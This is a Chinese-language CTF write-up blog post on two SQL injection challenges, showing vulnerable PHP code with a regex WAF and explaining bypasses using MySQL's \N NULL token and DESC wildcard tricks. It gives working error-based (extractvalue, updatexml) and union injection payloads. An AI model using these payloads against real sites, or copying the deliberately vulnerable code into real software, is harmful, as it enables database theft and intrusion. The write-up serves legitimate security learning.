又是被俊杰支配的一天

昨晚大半夜乐清在某个群里丢了一道题

test1

就很僵硬

<?php
include "config.php";
echo  "<center><h1>Welcome to my site</h1></center><br>";
$id = $_GET['id']?waf($_GET['id']):1;

$sql = "select * from error_news where id = $id";
echo "<!--view source /source.php-->";
$row = mysql_fetch_array(mysql_query($sql));
if (empty($row) or mysql_error()){
    echo "<center>no content detail</center>".mysql_error();
}else{
    echo "<center><table border=1><tr><th>title</th><th>Content</th></tr><tr><td>${row['title']}</td><td>${row['content']}</td></tr></table></center>";
}


function waf($var){
if(stristr($_SERVER['HTTP_USER_AGENT'],'sqlmap')){
    echo "<center>hacker<center>";
    die();
}
$var = preg_replace('/([^a-z]+)(union|from)/i', '&#160;$2', $var);
return $var;
}

其实第一眼看着感觉很简单啊,甚至可以报错,然后就丢给师弟了,师弟说这个waf过不去…………然后我就先翻白眼,再仔细一看这个waf我也不会啊,没遇到过

然后就google呗,找到,\N这个姿势,但是一开始一直是报错去注的, 然后直到爆了另一个错
我就觉得对了,本地也是爆这个错,然后过不了很僵硬。
payload:

1%20and%20(extractvalue(1,concat(0x7e,(select%20flag,\Nfrom flag),0x7e)));

报错:

Operand should contain 1 column(s)

报错注入只能爆一个这是已知的,那么原因就是\N
\N在mysql 中是NULL

假设有这样一张表

mysql> select * from test;
+---+---+
| a | b |
+---+---+
| 1 | 2 |
| 3 | 4 |
+---+---+
2 rows in set (0.00 sec)

那么利用\N的姿势去查询的话

mysql> select a,\Nfrom test;
+---+------+
| a | NULL |
+---+------+
| 1 | NULL |
| 3 | NULL |
+---+------+
2 rows in set (0.00 sec)

我知道你懂我意思,他本身并不是绕过通防waf的姿势,而是绕过特殊正则的waf

那么报错注入就不存在了,那就union吧同理绕过waf

mysql> select 1,2,\Nunion select 1,2,3;
+---+---+------+
| 1 | 2 | NULL |
+---+---+------+
| 1 | 2 | NULL |
| 1 | 2 |    3 |
+---+---+------+
2 rows in set (0.00 sec)

test2

~~
另一题出现在wupco的博客里过了,但是当时没怎么细看,但是雨牛的博客很仔细的参观过
~~
刚刚去找wupco换友链,发现我好想和他还讨论过俊杰师傅的payload,记忆力越来越差了罪过罪过 啥都没记住

因为有看过雨牛的博客的原因,因此第一反应就是desc注入
通过报错以及正常的回显 语句猜解

mysql_query("DESC `$_GET['table']`") or die("表不存在");
$sql = "SELECT * FROM $_GET['table'] where id=1";
mysql_query($sql) or die(mysql_error());

那么核心语句

DESC `$_GET['table']`;

SELECT * FROM $_GET['table'] where id=$_GET['id'];

注意到DESC的语句中有反引号 而SELECT语句中没有反引号

一开始也考虑过能不能在$_GET[table]中直接注入
事实证明是我太菜了,没写出payload来,然后就只好循规蹈矩通过id注入
简单测试id是有waf的过滤了union啥的没仔细测,但是在id可以报错,那么就可以基本上解决一大票问题了,但是当注入到column_name的时候,发现column_name被ban了,于是查阅一些DESC的文档⬇️

{DESCRIBE | DESC}   
tbl_name [col_name | wild] 

DESCRIBE 提供有关一个表的列信息。col_name 可以是一个列名或是一个包含 SQL 通配符字符 “%” 和 “_” 的字符串。没有必要用引号包围字符串。

也就是DESC的中的column_name位置是可以用通配符来替代的

% 替代一个或多个字符
_ 仅替代一个字符

因此可以按照按位爆破的思路类似mysql注入中的regexp,成功注入,这里要注意,当列名未爆破完成的时候%通配符始终可用,当爆破完成即不再匹配

payload:

table=news`%23`&id=1%20and%20updatexml(1,concat(0x7e,(select%20flag_you_will_never_know%20from%20error_flag),0x7e),1)#

然后乐师傅也验证了我一开始的想法
payload在wupco的博客里

写在最后

Kill By 小俊杰

此处评论已关闭